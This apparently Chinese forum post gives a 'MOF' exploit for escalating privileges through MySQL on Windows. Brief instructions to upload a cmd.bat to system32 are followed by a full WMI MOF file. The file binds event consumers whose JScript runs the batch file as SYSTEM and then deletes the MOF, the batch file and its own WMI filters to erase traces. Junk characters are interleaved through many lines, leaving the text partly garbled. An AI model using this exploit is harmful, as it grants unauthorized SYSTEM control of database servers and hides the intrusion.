Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
4 |# r8 ]' u- H  u8 m8 V需要将要运行的命令写入到bat上传到system32目录，然后执行。
' ?7 X# Z/ Z, V
这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。
! G. Y) _. Y4 M$ U
#pragma
( _% z, }- `/ t3 y                        namespace("\\\\.\\root\\cimv2")
                        class
" O! z3 _3 M% _4 W1 u( F( e6 W' C                        MyClass547
' `' c3 K4 O+ ~5 U, Z3 z                        {           [key]
, p9 X/ @8 Z; }5 Z8 p' T                        string
1 N+ n2 m/ R  h1 @4 A& L                        Name;
                        };
% H  }" f) S/ F9 ]+ H% q  P                        class
                        ActiveScriptEventConsumer
0 [4 ^: \- Z( ]                        : __EventConsumer {          [key]
                        string
8 S& A) F/ n( B% t                        Name;           [not_null]
1 h( {1 e1 Q  f& }7 U- x  q) `6 T# N# x                        string
                        ScriptingEngine;           string
                        ScriptFileName;           [template]
. B1 p3 C7 c, v- w                        string
                        ScriptText;         uint32 KillTimeout;
3 O- B4 k8 @  w                        }; instance of __Win32Provider as $P {
3 e! H7 z6 g+ i  g7 N                        Name
                        =
0 n$ @( Z1 `. z6 t* j1 [2 Q; A                        "ActiveScriptEventConsumer";     CLSID =
9 I: k. q: T& _$ x2 c5 @                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
0 Q% ]1 F( w  q/ r9 `% W' @( T% |                        PerUserInitialization
/ Q5 c6 |3 z* B" {% k                        = TRUE;
6 C. Q* `" b) o: }                        }; instance of __EventConsumerProviderRegistration {         Provider
                        = $P;         ConsumerClassNames
# P$ e6 Y& J% |                        =
                        {"ActiveScriptEventConsumer"};
, l' q4 S7 H8 }8 j# x$ a                        };
1 w# {/ g7 H& T3 Y- f& G                        Instance of ActiveScriptEventConsumer
                        as $cons {         Name
' W2 K' l! H! ?* A! J/ _$ @* g                        =
                        "ASEC";         ScriptingEngine
                        =
# c2 t7 l3 ^' \# f1 T                        "JScript";         ScriptText
) ?4 ]0 v  Q. e# L- [4 J* @                        =
8 |8 O8 k9 J- e2 a$ E2 `) |                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
                        Instance of ActiveScriptEventConsumer
% D1 F; H! i  ~: r                        as $cons2 {         Name
                        =
                        "qndASEC";         ScriptingEngine
& s/ Y: a6 L1 G& v8 N8 z                        =
7 Y4 K% @. i* H9 P/ ^                        "JScript";         ScriptText
2 B, L7 l4 J0 `                        =
1 u. ]1 z) A; g" R1 O3 n7 a                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
                        }; instance of __EventFilter as $Filt {         Name
                        =
$ c$ k! X6 Q0 X6 J) m                        "instfilt";         Query
& c* G7 b, B5 p/ x% R                        =
* E; c' Z% L9 U" G' S+ G) Y( A                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
                        =
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
                        =
) k2 _3 T% K& C                        "qndfilt";         Query
                        =
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
                        =
2 {3 K9 Q  Q! M) Y$ K: ^                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
                        = $Filt;
: \8 S/ }7 G8 E5 Y1 U% a* B: N                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
! m3 f2 F9 _; v" @6 K                        = $cons2;         Filter
0 R$ @. f7 v$ w5 D* G                        = $Filt2;
                        }; instance of MyClass547
                        as $MyClass {         Name
5 E- [- j$ n, ~6 }, s; ~* }8 {                        =
                        "ClassConsumer";
                        };